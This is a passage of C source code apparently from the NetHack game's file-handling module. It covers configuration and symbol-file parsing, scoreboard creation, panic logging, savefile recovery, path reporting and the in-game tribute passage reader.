in between. */ STATIC_OVL boolean parse_conf_file(fp, proc) FILE *fp; boolean FDECL((*proc), (char *)); { char inbuf[4 * BUFSZ]; boolean rv = TRUE; /* assume successful parse */ char *ep; boolean skip = FALSE, morelines = FALSE; char *buf = (char *) 0; size_t inbufsz = sizeof inbuf; free_config_sections(); while (fgets(inbuf, (int) inbufsz, fp)) { ep = index(inbuf, '\n'); if (skip) { /* in case previous line was too long */ if (ep) skip = FALSE; /* found newline; next line is normal */ } else { if (!ep) { /* newline missing */ if (strlen(inbuf) < (inbufsz - 2)) { /* likely the last line of file is just missing a newline; process it anyway */ ep = eos(inbuf); } else { config_error_add("Line too long, skipping"); skip = TRUE; /* discard next fgets */ } } else { *ep = '\0'; /* remove newline */ } if (ep) { char *tmpbuf = (char *) 0; int len; boolean ignoreline = FALSE; boolean oldline = FALSE; /* line continuation (trailing '\') */ morelines = (--ep >= inbuf && *ep == '\\'); if (morelines) *ep = '\0'; /* trim off spaces at end of line */ while (ep >= inbuf && (*ep == ' ' || *ep == '\t' || *ep == '\r')) *ep-- = '\0'; if (!config_error_nextline(inbuf)) { rv = FALSE; if (buf) free(buf), buf = (char *) 0; break; } ep = inbuf; while (*ep == ' ' || *ep == '\t') ++ep; /* ignore empty lines and full-line comment lines */ if (!*ep || *ep == '#') ignoreline = TRUE; if (buf) oldline = TRUE; /* merge now read line with previous ones, if necessary */ if (!ignoreline) { len = (int) strlen(inbuf) + 1; if (buf) len += (int) strlen(buf); tmpbuf = (char *) alloc(len); if (buf) { Sprintf(tmpbuf, "%s %s", buf, inbuf); free(buf); } else Strcpy(tmpbuf, inbuf); buf = tmpbuf; } if (morelines || (ignoreline && !oldline)) continue; if (handle_config_section(ep)) { free(buf); buf = (char *) 0; continue; } /* from here onwards, we'll handle buf only */ if (match_varname(buf, "CHOOSE", 6)) { char *section; char *bufp = find_optparam(buf); if (!bufp) { config_error_add( "Format is CHOOSE=section1,section2,..."); rv = FALSE; free(buf); buf = (char *) 0; continue; } bufp++; if (config_section_chosen) free(config_section_chosen); section = choose_random_part(bufp, ','); if (section) config_section_chosen = dupstr(section); else { config_error_add("No config section to choose"); rv = FALSE; } free(buf); buf = (char *) 0; continue; } if (!proc(buf)) rv = FALSE; free(buf); buf = (char *) 0; } } } if (buf) free(buf); free_config_sections(); return rv; } extern struct symsetentry *symset_list; /* options.c */ extern const char *known_handling[]; /* drawing.c */ extern const char *known_restrictions[]; /* drawing.c */ static int symset_count = 0; /* for pick-list building only */ static boolean chosen_symset_start = FALSE, chosen_symset_end = FALSE; static int symset_which_set = 0; STATIC_OVL FILE * fopen_sym_file() { FILE *fp; fp = fopen_datafile(SYMBOLS, "r", #ifdef WIN32 SYSCONFPREFIX #else HACKPREFIX #endif ); return fp; } /* * Returns 1 if the chose symset was found and loaded. * 0 if it wasn't found in the sym file or other problem. */ int read_sym_file(which_set) int which_set; { FILE *fp; symset[which_set].explicitly = FALSE; if (!(fp = fopen_sym_file())) return 0; symset[which_set].explicitly = TRUE; symset_count = 0; chosen_symset_start = chosen_symset_end = FALSE; symset_which_set = which_set; config_error_init(TRUE, "symbols", FALSE); parse_conf_file(fp, proc_symset_line); (void) fclose(fp); if (!chosen_symset_start && !chosen_symset_end) { /* name caller put in symset[which_set].name was not found; if it looks like "Default symbols", null it out and return success to use the default; otherwise, return failure */ if (symset[which_set].name && (fuzzymatch(symset[which_set].name, "Default symbols", " -_", TRUE) || !strcmpi(symset[which_set].name, "default"))) clear_symsetentry(which_set, TRUE); config_error_done(); /* If name was defined, it was invalid... Then we're loading fallback */ if (symset[which_set].name) { symset[which_set].explicitly = FALSE; return 0; } return 1; } if (!chosen_symset_end) config_error_add("Missing finish for symset \"%s\"", symset[which_set].name ? symset[which_set].name : "unknown"); config_error_done(); return 1; } boolean proc_symset_line(buf) char *buf; { return !((boolean) parse_sym_line(buf, symset_which_set)); } /* returns 0 on error */ int parse_sym_line(buf, which_set) char *buf; int which_set; { int val, i; struct symparse *symp; char *bufp, *commentp, *altp; /* convert each instance of whitespace (tabs, consecutive spaces) into a single space; leading and trailing spaces are stripped */ mungspaces(buf); /* remove trailing comment, if any (this isn't strictly needed for individual symbols, and it won't matter if "X#comment" without separating space slips through; for handling or set description, symbol set creator is responsible for preceding '#' with a space and that comment itself doesn't contain " #") */ if ((commentp = rindex(buf, '#')) != 0 && commentp[-1] == ' ') commentp[-1] = '\0'; /* find the '=' or ':' */ bufp = index(buf, '='); altp = index(buf, ':'); if (!bufp || (altp && altp < bufp)) bufp = altp; if (!bufp) { if (strncmpi(buf, "finish", 6) == 0) { /* end current graphics set */ if (chosen_symset_start) chosen_symset_end = TRUE; chosen_symset_start = FALSE; return 1; } config_error_add("No \"finish\""); return 0; } /* skip '=' and space which follows, if any */ ++bufp; if (*bufp == ' ') ++bufp; symp = match_sym(buf); if (!symp) { config_error_add("Unknown sym keyword"); return 0; } if (!symset[which_set].name) { /* A null symset name indicates that we're just building a pick-list of possible symset values from the file, so only do that */ if (symp->range == SYM_CONTROL) { struct symsetentry *tmpsp, *lastsp; for (lastsp = symset_list; lastsp; lastsp = lastsp->next) if (!lastsp->next) break; switch (symp->idx) { case 0: tmpsp = (struct symsetentry *) alloc(sizeof *tmpsp); tmpsp->next = (struct symsetentry *) 0; if (!lastsp) symset_list = tmpsp; else lastsp->next = tmpsp; tmpsp->idx = symset_count++; tmpsp->name = dupstr(bufp); tmpsp->desc = (char *) 0; tmpsp->handling = H_UNK; /* initialize restriction bits */ tmpsp->nocolor = 0; tmpsp->primary = 0; tmpsp->rogue = 0; break; case 2: /* handler type identified */ tmpsp = lastsp; /* most recent symset */ for (i = 0; known_handling[i]; ++i) if (!strcmpi(known_handling[i], bufp)) { tmpsp->handling = i; break; /* for loop */ } break; case 3: /* description:something */ tmpsp = lastsp; /* most recent symset */ if (tmpsp && !tmpsp->desc) tmpsp->desc = dupstr(bufp); break; case 5: /* restrictions: xxxx*/ tmpsp = lastsp; /* most recent symset */ for (i = 0; known_restrictions[i]; ++i) { if (!strcmpi(known_restrictions[i], bufp)) { switch (i) { case 0: tmpsp->primary = 1; break; case 1: tmpsp->rogue = 1; break; } break; /* while loop */ } } break; } } return 1; } if (symp->range) { if (symp->range == SYM_CONTROL) { switch (symp->idx) { case 0: /* start of symset */ if (!strcmpi(bufp, symset[which_set].name)) { /* matches desired one */ chosen_symset_start = TRUE; /* these init_*() functions clear symset fields too */ if (which_set == ROGUESET) init_rogue_symbols(); else if (which_set == PRIMARY) init_primary_symbols(); } break; case 1: /* finish symset */ if (chosen_symset_start) chosen_symset_end = TRUE; chosen_symset_start = FALSE; break; case 2: /* handler type identified */ if (chosen_symset_start) set_symhandling(bufp, which_set); break; /* case 3: (description) is ignored here */ case 4: /* color:off */ if (chosen_symset_start) { if (bufp) { if (!strcmpi(bufp, "true") || !strcmpi(bufp, "yes") || !strcmpi(bufp, "on")) symset[which_set].nocolor = 0; else if (!strcmpi(bufp, "false") || !strcmpi(bufp, "no") || !strcmpi(bufp, "off")) symset[which_set].nocolor = 1; } } break; case 5: /* restrictions: xxxx*/ if (chosen_symset_start) { int n = 0; while (known_restrictions[n]) { if (!strcmpi(known_restrictions[n], bufp)) { switch (n) { case 0: symset[which_set].primary = 1; break; case 1: symset[which_set].rogue = 1; break; } break; /* while loop */ } n++; } } break; } } else { /* !SYM_CONTROL */ val = sym_val(bufp); if (chosen_symset_start) { if (which_set == PRIMARY) { update_primary_symset(symp, val); } else if (which_set == ROGUESET) { update_rogue_symset(symp, val); } } } } return 1; } STATIC_OVL void set_symhandling(handling, which_set) char *handling; int which_set; { int i = 0; symset[which_set].handling = H_UNK; while (known_handling[i]) { if (!strcmpi(known_handling[i], handling)) { symset[which_set].handling = i; return; } i++; } } /* ---------- END CONFIG FILE HANDLING ----------- */ /* ---------- BEGIN SCOREBOARD CREATION ----------- */ #ifdef OS2_CODEVIEW #define UNUSED_if_not_OS2_CODEVIEW /*empty*/ #else #define UNUSED_if_not_OS2_CODEVIEW UNUSED #endif /* verify that we can write to scoreboard file; if not, try to create one */ /*ARGUSED*/ void check_recordfile(dir) const char *dir UNUSED_if_not_OS2_CODEVIEW; { #if defined(PRAGMA_UNUSED) && !defined(OS2_CODEVIEW) #pragma unused(dir) #endif const char *fq_record; int fd; #if defined(UNIX) || defined(VMS) fq_record = fqname(RECORD, SCOREPREFIX, 0); fd = open(fq_record, O_RDWR, 0); if (fd >= 0) { #ifdef VMS /* must be stream-lf to use UPDATE_RECORD_IN_PLACE */ if (!file_is_stmlf(fd)) { raw_printf( "Warning: scoreboard file '%s' is not in stream_lf format", fq_record); wait_synch(); } #endif (void) nhclose(fd); /* RECORD is accessible */ } else if ((fd = open(fq_record, O_CREAT | O_RDWR, FCMASK)) >= 0) { (void) nhclose(fd); /* RECORD newly created */ #if defined(VMS) && !defined(SECURE) /* Re-protect RECORD with world:read+write+execute+delete access. */ (void) chmod(fq_record, FCMASK | 007); #endif /* VMS && !SECURE */ } else { raw_printf("Warning: cannot write scoreboard file '%s'", fq_record); wait_synch(); } #endif /* !UNIX && !VMS */ #if defined(MICRO) || defined(WIN32) char tmp[PATHLEN]; #ifdef OS2_CODEVIEW /* explicit path on opening for OS/2 */ /* how does this work when there isn't an explicit path or fopenp * for later access to the file via fopen_datafile? ? */ (void) strncpy(tmp, dir, PATHLEN - 1); tmp[PATHLEN - 1] = '\0'; if ((strlen(tmp) + 1 + strlen(RECORD)) < (PATHLEN - 1)) { append_slash(tmp); Strcat(tmp, RECORD); } fq_record = tmp; #else Strcpy(tmp, RECORD); fq_record = fqname(RECORD, SCOREPREFIX, 0); #endif #ifdef WIN32 /* If dir is NULL it indicates create but only if it doesn't already exist */ if (!dir) { char buf[BUFSZ]; buf[0] = '\0'; fd = open(fq_record, O_RDWR); if (!(fd == -1 && errno == ENOENT)) { if (fd >= 0) { (void) nhclose(fd); } else { /* explanation for failure other than missing file */ Sprintf(buf, "error \"%s\", (errno %d).", fq_record, errno); paniclog("scorefile", buf); } return; } Sprintf(buf, "missing \"%s\", creating new scorefile.", fq_record); paniclog("scorefile", buf); } #endif if ((fd = open(fq_record, O_RDWR)) < 0) { /* try to create empty 'record' */ #if defined(AZTEC_C) || defined(_DCC) \ || (defined(__GNUC__) && defined(__AMIGA__)) /* Aztec doesn't use the third argument */ /* DICE doesn't like it */ fd = open(fq_record, O_CREAT | O_RDWR); #else fd = open(fq_record, O_CREAT | O_RDWR, S_IREAD | S_IWRITE); #endif if (fd <= 0) { raw_printf("Warning: cannot write record '%s'", tmp); wait_synch(); } else { (void) nhclose(fd); } } else { /* open succeeded => 'record' exists */ (void) nhclose(fd); } #else /* MICRO || WIN32*/ #ifdef MAC /* Create the "record" file, if necessary */ fq_record = fqname(RECORD, SCOREPREFIX, 0); fd = macopen(fq_record, O_RDWR | O_CREAT, TEXT_TYPE); if (fd != -1) macclose(fd); #endif /* MAC */ #endif /* MICRO || WIN32*/ } /* ---------- END SCOREBOARD CREATION ----------- */ /* ---------- BEGIN PANIC/IMPOSSIBLE/TESTING LOG ----------- */ /*ARGSUSED*/ void paniclog(type, reason) const char *type; /* panic, impossible, trickery */ const char *reason; /* explanation */ { #ifdef PANICLOG FILE *lfile; char buf[BUFSZ]; if (!program_state.in_paniclog) { program_state.in_paniclog = 1; lfile = fopen_datafile(PANICLOG, "a", TROUBLEPREFIX); if (lfile) { #ifdef PANICLOG_FMT2 (void) fprintf(lfile, "%ld %s: %s %s\n", ubirthday, (plname ? plname : "(none)"), type, reason); #else time_t now = getnow(); int uid = getuid(); char playmode = wizard ? 'D' : discover ? 'X' : '-'; (void) fprintf(lfile, "%s %08ld %06ld %d %c: %s %s\n", version_string(buf), yyyymmdd(now), hhmmss(now), uid, playmode, type, reason); #endif /* !PANICLOG_FMT2 */ (void) fclose(lfile); } program_state.in_paniclog = 0; } #endif /* PANICLOG */ return; } void testinglog(filenm, type, reason) const char *filenm; /* ad hoc file name */ const char *type; const char *reason; /* explanation */ { FILE *lfile; char fnbuf[BUFSZ]; if (!filenm) return; Strcpy(fnbuf, filenm); if (index(fnbuf, '.') == 0) Strcat(fnbuf, ".log"); lfile = fopen_datafile(fnbuf, "a", TROUBLEPREFIX); if (lfile) { (void) fprintf(lfile, "%s\n%s\n", type, reason); (void) fclose(lfile); } return; } /* ---------- END PANIC/IMPOSSIBLE/TESTING LOG ----------- */ #ifdef SELF_RECOVER /* ---------- BEGIN INTERNAL RECOVER ----------- */ boolean recover_savefile() { int gfd, lfd, sfd; int lev, savelev, hpid, pltmpsiz; xchar levc; struct version_info version_data; int processed[256]; char savename[SAVESIZE], errbuf[BUFSZ]; struct savefile_info sfi; char tmpplbuf[PL_NSIZ]; for (lev = 0; lev < 256; lev++) processed[lev] = 0; /* level 0 file contains: * pid of creating process (ignored here) * level number for current level of save file * name of save file nethack would have created * savefile info * player name * and game state */ gfd = open_levelfile(0, errbuf); if (gfd < 0) { raw_printf("%s\n", errbuf); return FALSE; } if (read(gfd, (genericptr_t) &hpid, sizeof hpid) != sizeof hpid) { raw_printf("\n%s\n%s\n", "Checkpoint data incompletely written or subsequently clobbered.", "Recovery impossible."); (void) nhclose(gfd); return FALSE; } if (read(gfd, (genericptr_t) &savelev, sizeof(savelev)) != sizeof(savelev)) { raw_printf( "\nCheckpointing was not in effect for %s -- recovery impossible.\n", lock); (void) nhclose(gfd); return FALSE; } if ((read(gfd, (genericptr_t) savename, sizeof savename) != sizeof savename) || (read(gfd, (genericptr_t) &version_data, sizeof version_data) != sizeof version_data) || (read(gfd, (genericptr_t) &sfi, sizeof sfi) != sizeof sfi) || (read(gfd, (genericptr_t) &pltmpsiz, sizeof pltmpsiz) != sizeof pltmpsiz) || (pltmpsiz > PL_NSIZ) || (read(gfd, (genericptr_t) &tmpplbuf, pltmpsiz) != pltmpsiz)) { raw_printf("\nError reading %s -- can't recover.\n", lock); (void) nhclose(gfd); return FALSE; } /* save file should contain: * version info * savefile info * player name * current level (including pets) * (non-level-based) game state * other levels */ set_savefile_name(TRUE); sfd = create_savefile(); if (sfd < 0) { raw_printf("\nCannot recover savefile %s.\n", SAVEF); (void) nhclose(gfd); return FALSE; } lfd = open_levelfile(savelev, errbuf); if (lfd < 0) { raw_printf("\n%s\n", errbuf); (void) nhclose(gfd); (void) nhclose(sfd); delete_savefile(); return FALSE; } if (write(sfd, (genericptr_t) &version_data, sizeof version_data) != sizeof version_data) { raw_printf("\nError writing %s; recovery failed.", SAVEF); (void) nhclose(gfd); (void) nhclose(sfd); (void) nhclose(lfd); delete_savefile(); return FALSE; } if (write(sfd, (genericptr_t) &sfi, sizeof sfi) != sizeof sfi) { raw_printf("\nError writing %s; recovery failed (savefile_info).\n", SAVEF); (void) nhclose(gfd); (void) nhclose(sfd); (void) nhclose(lfd); delete_savefile(); return FALSE; } if (write(sfd, (genericptr_t) &pltmpsiz, sizeof pltmpsiz) != sizeof pltmpsiz) { raw_printf("Error writing %s; recovery failed (player name size).\n", SAVEF); (void) nhclose(gfd); (void) nhclose(sfd); (void) nhclose(lfd); delete_savefile(); return FALSE; } if (write(sfd, (genericptr_t) &tmpplbuf, pltmpsiz) != pltmpsiz) { raw_printf("Error writing %s; recovery failed (player name).\n", SAVEF); (void) nhclose(gfd); (void) nhclose(sfd); (void) nhclose(lfd); delete_savefile(); return FALSE; } if (!copy_bytes(lfd, sfd)) { (void) nhclose(gfd); (void) nhclose(sfd); (void) nhclose(lfd); delete_savefile(); return FALSE; } (void) nhclose(lfd); processed[savelev] = 1; if (!copy_bytes(gfd, sfd)) { (void) nhclose(gfd); (void) nhclose(sfd); delete_savefile(); return FALSE; } (void) nhclose(gfd); processed[0] = 1; for (lev = 1; lev < 256; lev++) { /* level numbers are kept in xchars in save.c, so the * maximum level number (for the endlevel) must be < 256 */ if (lev != savelev) { lfd = open_levelfile(lev, (char *) 0); if (lfd >= 0) { /* any or all of these may not exist */ levc = (xchar) lev; write(sfd, (genericptr_t) &levc, sizeof(levc)); if (!copy_bytes(lfd, sfd)) { (void) nhclose(lfd); (void) nhclose(sfd); delete_savefile(); return FALSE; } (void) nhclose(lfd); processed[lev] = 1; } } } (void) nhclose(sfd); #ifdef HOLD_LOCKFILE_OPEN really_close(); #endif /* * We have a successful savefile! * Only now do we erase the level files. */ for (lev = 0; lev < 256; lev++) { if (processed[lev]) { const char *fq_lock; set_levelfile_name(lock, lev); fq_lock = fqname(lock, LEVELPREFIX, 3); (void) unlink(fq_lock); } } return TRUE; } boolean copy_bytes(ifd, ofd) int ifd, ofd; { char buf[BUFSIZ]; int nfrom, nto; do { nfrom = read(ifd, buf, BUFSIZ); nto = write(ofd, buf, nfrom); if (nto != nfrom) return FALSE; } while (nfrom == BUFSIZ); return TRUE; } /* ---------- END INTERNAL RECOVER ----------- */ #endif /*SELF_RECOVER*/ /* ---------- OTHER ----------- */ #ifdef SYSCF #ifdef SYSCF_FILE void assure_syscf_file() { int fd; #ifdef WIN32 /* We are checking that the sysconf exists ... lock the path */ fqn_prefix_locked[SYSCONFPREFIX] = TRUE; #endif /* * All we really care about is the end result - can we read the file? * So just check that directly. * * Not tested on most of the old platforms (which don't attempt * to implement SYSCF). * Some ports don't like open()'s optional third argument; * VMS overrides open() usage with a macro which requires it. */ #ifndef VMS # if defined(NOCWD_ASSUMPTIONS) && defined(WIN32) fd = open(fqname(SYSCF_FILE, SYSCONFPREFIX, 0), O_RDONLY); # else fd = open(SYSCF_FILE, O_RDONLY); # endif #else fd = open(SYSCF_FILE, O_RDONLY, 0); #endif if (fd >= 0) { /* readable */ close(fd); return; } raw_printf("Unable to open SYSCF_FILE.\n"); exit(EXIT_FAILURE); } #endif /* SYSCF_FILE */ #endif /* SYSCF */ #ifdef DEBUG /* used by debugpline() to decide whether to issue a message * from a particular source file; caller passes __FILE__ and we check * whether it is in the source file list supplied by SYSCF's DEBUGFILES * * pass FALSE to override wildcard matching; useful for files * like dungeon.c and questpgr.c, which generate a ridiculous amount of * output if DEBUG is defined and effectively block the use of a wildcard */ boolean debugcore(filename, wildcards) const char *filename; boolean wildcards; { const char *debugfiles, *p; if (!filename || !*filename) return FALSE; /* sanity precaution */ if (sysopt.env_dbgfl == 0) { /* check once for DEBUGFILES in the environment; if found, it supersedes the sysconf value [note: getenv() rather than nh_getenv() since a long value is valid and doesn't pose any sort of overflow risk here] */ if ((p = getenv("DEBUGFILES")) != 0) { if (sysopt.debugfiles) free((genericptr_t) sysopt.debugfiles); sysopt.debugfiles = dupstr(p); sysopt.env_dbgfl = 1; } else sysopt.env_dbgfl = -1; } debugfiles = sysopt.debugfiles; /* usual case: sysopt.debugfiles will be empty */ if (!debugfiles || !*debugfiles) return FALSE; /* strip filename's path if present */ #ifdef UNIX if ((p = rindex(filename, '/')) != 0) filename = p + 1; #endif #ifdef VMS filename = vms_basename(filename); /* vms_basename strips off 'type' suffix as well as path and version; we want to put suffix back (".c" assumed); since it always returns a pointer to a static buffer, we can safely modify its result */ Strcat((char *) filename, ".c"); #endif /* * Wildcard match will only work if there's a single pattern (which * might be a single file name without any wildcarding) rather than * a space-separated list. * [to NOT do: We could step through the space-separated list and * attempt a wildcard match against each element, but that would be * overkill for the intended usage.] */ if (wildcards && pmatch(debugfiles, filename)) return TRUE; /* check whether filename is an element of the list */ if ((p = strstr(debugfiles, filename)) != 0) { int l = (int) strlen(filename); if ((p == debugfiles || p[-1] == ' ' || p[-1] == '/') && (p[l] == ' ' || p[l] == '\0')) return TRUE; } return FALSE; } #endif /*DEBUG*/ #ifdef UNIX #ifndef PATH_MAX #include <limits.h> #endif #endif void reveal_paths(VOID_ARGS) { const char *fqn, *nodumpreason; char buf[BUFSZ]; #if defined(SYSCF) || !defined(UNIX) || defined(DLB) const char *filep; #ifdef SYSCF const char *gamename = (hname && *hname) ? hname : "NetHack"; #endif #endif #ifdef UNIX char *endp, *envp, cwdbuf[PATH_MAX]; #endif #ifdef PREFIXES_IN_USE const char *strp; int i, maxlen = 0; raw_print("Variable playground locations:"); for (i = 0; i < PREFIX_COUNT; i++) raw_printf(" [%-10s]=\"%s\"", fqn_prefix_names[i], fqn_prefix[i] ? fqn_prefix[i] : "not set"); #endif /* sysconf file */ #ifdef SYSCF #ifdef PREFIXES_IN_USE strp = fqn_prefix_names[SYSCONFPREFIX]; maxlen = BUFSZ - sizeof " (in )"; if (strp && (int) strlen(strp) < maxlen) Sprintf(buf, " (in %s)", strp); #else buf[0] = '\0'; #endif raw_printf("%s system configuration file%s:", s_suffix(gamename), buf); #ifdef SYSCF_FILE filep = SYSCF_FILE; #else filep = "sysconf"; #endif fqn = fqname(filep, SYSCONFPREFIX, 0); if (fqn) { set_configfile_name(fqn); filep = configfile; } raw_printf(" \"%s\"", filep); #else /* !SYSCF */ raw_printf("No system configuration file."); #endif /* ?SYSCF */ /* symbols file */ buf[0] = '\0'; #ifndef UNIX #ifdef PREFIXES_IN_USE #ifdef WIN32 strp = fqn_prefix_names[SYSCONFPREFIX]; #else strp = fqn_prefix_names[HACKPREFIX]; #endif /* WIN32 */ maxlen = BUFSZ - sizeof " (in )"; if (strp && (int) strlen(strp) < maxlen) Sprintf(buf, " (in %s)", strp); #endif /* PREFIXES_IN_USE */ raw_printf("The loadable symbols file%s:", buf); #endif /* UNIX */ #ifdef UNIX envp = getcwd(cwdbuf, PATH_MAX); if (envp) { raw_print("The loadable symbols file:"); raw_printf(" \"%s/%s\"", envp, SYMBOLS); } #else /* UNIX */ filep = SYMBOLS; #ifdef PREFIXES_IN_USE #ifdef WIN32 fqn = fqname(filep, SYSCONFPREFIX, 1); #else fqn = fqname(filep, HACKPREFIX, 1); #endif /* WIN32 */ if (fqn) filep = fqn; #endif /* PREFIXES_IN_USE */ raw_printf(" \"%s\"", filep); #endif /* UNIX */ /* dlb vs non-dlb */ buf[0] = '\0'; #ifdef PREFIXES_IN_USE strp = fqn_prefix_names[DATAPREFIX]; maxlen = BUFSZ - sizeof " (in )"; if (strp && (int) strlen(strp) < maxlen) Sprintf(buf, " (in %s)", strp); #endif #ifdef DLB raw_printf("Basic data files%s are collected inside:", buf); filep = DLBFILE; #ifdef VERSION_IN_DLB_FILENAME Strcpy(buf, build_dlb_filename((const char *) 0)); #ifdef PREFIXES_IN_USE fqn = fqname(buf, DATAPREFIX, 1); if (fqn) filep = fqn; #endif /* PREFIXES_IN_USE */ #endif raw_printf(" \"%s\"", filep); #ifdef DLBFILE2 filep = DLBFILE2; raw_printf(" \"%s\"", filep); #endif #else /* !DLB */ raw_printf("Basic data files%s are in many separate files.", buf); #endif /* ?DLB */ /* dumplog */ #ifndef DUMPLOG nodumpreason = "not supported"; #else nodumpreason = "disabled"; #ifdef SYSCF fqn = sysopt.dumplogfile; #else /* !SYSCF */ #ifdef DUMPLOG_FILE fqn = DUMPLOG_FILE; #else fqn = (char *) 0; #endif #endif /* ?SYSCF */ if (fqn && *fqn) { raw_print("Your end-of-game disclosure file:"); (void) dump_fmtstr(fqn, buf, FALSE); buf[sizeof buf - sizeof " \"\""] = '\0'; raw_printf(" \"%s\"", buf); } else #endif /* ?DUMPLOG */ raw_printf("No end-of-game disclosure file (%s).", nodumpreason); #ifdef WIN32 if (sysopt.portable_device_top) { const char *pd = get_portable_device(); raw_printf("Writable folder for portable device config (sysconf %s):", "portable_device_top"); raw_printf(" \"%s\"", pd); } #endif /* personal configuration file */ buf[0] = '\0'; #ifdef PREFIXES_IN_USE strp = fqn_prefix_names[CONFIGPREFIX]; maxlen = BUFSZ - sizeof " (in )"; if (strp && (int) strlen(strp) < maxlen) Sprintf(buf, " (in %s)", strp); #endif /* PREFIXES_IN_USE */ raw_printf("Your personal configuration file%s:", buf); #ifdef UNIX buf[0] = '\0'; if ((envp = nh_getenv("HOME")) != 0) { copynchars(buf, envp, (int) sizeof buf - 1 - 1); Strcat(buf, "/"); } endp = eos(buf); copynchars(endp, default_configfile, (int) (sizeof buf - 1 - strlen(buf))); #if defined(__APPLE__) /* UNIX+__APPLE__ => MacOSX aka OSX aka macOS */ if (envp) { if (access(buf, 4) == -1) { /* 4: R_OK, -1: failure */ /* read access to default failed; might be protected excessively but more likely it doesn't exist; try first alternate: "$HOME/Library/Pref..."; 'endp' points past '/' */ copynchars(endp, "Library/Preferences/NetHack Defaults", (int) (sizeof buf - 1 - strlen(buf))); if (access(buf, 4) == -1) { /* first alternate failed, try second: ".../NetHack Defaults.txt"; no 'endp', just append */ copynchars(eos(buf), ".txt", (int) (sizeof buf - 1 - strlen(buf))); if (access(buf, 4) == -1) { /* second alternate failed too, so revert to the original default ("$HOME/.nethackrc") for message */ copynchars(endp, default_configfile, (int) (sizeof buf - 1 - strlen(buf))); } } } } #endif /* __APPLE__ */ raw_printf(" \"%s\"", buf); #else /* !UNIX */ fqn = (const char *) 0; #ifdef PREFIXES_IN_USE fqn = fqname(default_configfile, CONFIGPREFIX, 2); #endif raw_printf(" \"%s\"", fqn ? fqn : default_configfile); #endif /* ?UNIX */ raw_print(""); } /* ---------- BEGIN TRIBUTE ----------- */ /* 3.6 tribute code */ #define SECTIONSCOPE 1 #define TITLESCOPE 2 #define PASSAGESCOPE 3 #define MAXPASSAGES SIZE(context.novel.pasg) /* 20 */ static int FDECL(choose_passage, (int, unsigned)); /* choose a random passage that hasn't been chosen yet; once all have been chosen, reset the tracking to make all passages available again */ static int choose_passage(passagecnt, oid) int passagecnt; /* total of available passages */ unsigned oid; /* book.o_id, used to determine whether re-reading same book */ { int idx, res; if (passagecnt < 1) return 0; /* if a different book or we've used up all the passages already, reset in order to have all 'passagecnt' passages available */ if (oid != context.novel.id || context.novel.count == 0) { int i, range = passagecnt, limit = MAXPASSAGES; context.novel.id = oid; if (range <= limit) { /* collect all of the N indices */ context.novel.count = passagecnt; for (idx = 0; idx < MAXPASSAGES; idx++) context.novel.pasg[idx] = (xchar) ((idx < passagecnt) ? idx + 1 : 0); } else { /* collect MAXPASSAGES of the N indices */ context.novel.count = MAXPASSAGES; for (idx = i = 0; i < passagecnt; ++i, --range) if (range > 0 && rn2(range) < limit) { context.novel.pasg[idx++] = (xchar) (i + 1); --limit; } } } idx = rn2(context.novel.count); res = (int) context.novel.pasg[idx]; /* move the last slot's passage index into the slot just used and reduce the number of passages available */ context.novel.pasg[idx] = context.novel.pasg[--context.novel.count]; return res; } /* Returns True if you were able to read something. */ boolean read_tribute(tribsection, tribtitle, tribpassage, nowin_buf, bufsz, oid) const char *tribsection, *tribtitle; int tribpassage, bufsz; char *nowin_buf; unsigned oid; /* book identifier */ { dlb *fp; char line[BUFSZ], lastline[BUFSZ]; int scope = 0; int linect = 0, passagecnt = 0, targetpassage = 0; const char *badtranslation = "an incomprehensible foreign translation"; boolean matchedsection = FALSE, matchedtitle = FALSE; winid tribwin = WIN_ERR; boolean grasped = FALSE; boolean foundpassage = FALSE; if (nowin_buf) *nowin_buf = '\0'; /* check for mandatories */ if (!tribsection || !tribtitle) { if (!nowin_buf) pline("It's %s of \"%s\"!", badtranslation, tribtitle); return grasped; } debugpline3("read_tribute %s, %s, %d.", tribsection, tribtitle, tribpassage); fp = dlb_fopen(TRIBUTEFILE, "r"); if (!fp) { /* this is actually an error - cannot open tribute file! */ if (!nowin_buf) pline("You feel too overwhelmed to continue!"); return grasped; } /* * Syntax (not case-sensitive): * %section books * * In the books section: * %title booktitle (n) * where booktitle=book title without quotes * (n)= total number of passages present for this title * %passage k * where k=sequential passage number * * %e ends the passage/book/section * If in a passage, it marks the end of that passage. * If in a book, it marks the end of that book. * If in a section, it marks the end of that section. * * %section death */ *line = *lastline = '\0'; while (dlb_fgets(line, sizeof line, fp) != 0) { linect++; (void) strip_newline(line); switch (line[0]) { case '%': if (!strncmpi(&line[1], "section ", sizeof "section " - 1)) { char *st = &line[9]; /* 9 from "%section " */ scope = SECTIONSCOPE; matchedsection = !strcmpi(st, tribsection) ? TRUE : FALSE; } else if (!strncmpi(&line[1], "title ", sizeof "title " - 1)) { char *st = &line[7]; /* 7 from "%title " */ char *p1, *p2; if ((p1 = index(st, '(')) != 0) { *p1++ = '\0'; (void) mungspaces(st); if ((p2 = index(p1, ')')) != 0) { *p2 = '\0'; passagecnt = atoi(p1); scope = TITLESCOPE; if (matchedsection && !strcmpi(st, tribtitle)) { matchedtitle = TRUE; targetpassage = !tribpassage ? choose_passage(passagecnt, oid) : (tribpassage <= passagecnt) ? tribpassage : 0; } else { matchedtitle = FALSE; } } } } else if (!strncmpi(&line[1], "passage ", sizeof "passage " - 1)) { int passagenum = 0; char *st = &line[9]; /* 9 from "%passage " */ mungspaces(st); passagenum = atoi(st); if (passagenum > 0 && passagenum <= passagecnt) { scope = PASSAGESCOPE; if (matchedtitle && passagenum == targetpassage) { foundpassage = TRUE; if (!nowin_buf) { tribwin = create_nhwindow(NHW_MENU); if (tribwin == WIN_ERR) goto cleanup; } } } } else if (!strncmpi(&line[1], "e ", sizeof "e " - 1)) { if (foundpassage) goto cleanup; if (scope == TITLESCOPE) matchedtitle = FALSE; if (scope == SECTIONSCOPE) matchedsection = FALSE; if (scope) --scope; } else { debugpline1("tribute file error: bad %% command, line %d.", linect); } break; case '#': /* comment only, next! */ break; default: if (foundpassage) { if (!nowin_buf) { /* outputting multi-line passage to text window */ putstr(tribwin, 0, line); if (*line) Strcpy(lastline, line); } else { /* fetching one-line passage into buffer */ copynchars(nowin_buf, line, bufsz - 1); goto cleanup; /* don't wait for "%e passage" */ } } } } cleanup: (void) dlb_fclose(fp); if (nowin_buf) { /* one-line buffer */ grasped = *nowin_buf ? TRUE : FALSE; } else { if (tribwin != WIN_ERR) { /* implies 'foundpassage' */ /* multi-line window, normal case; if lastline is empty, there were no non-empty lines between "%passage n" and "%e passage" so we leave 'grasped' False */ if (*lastline) { 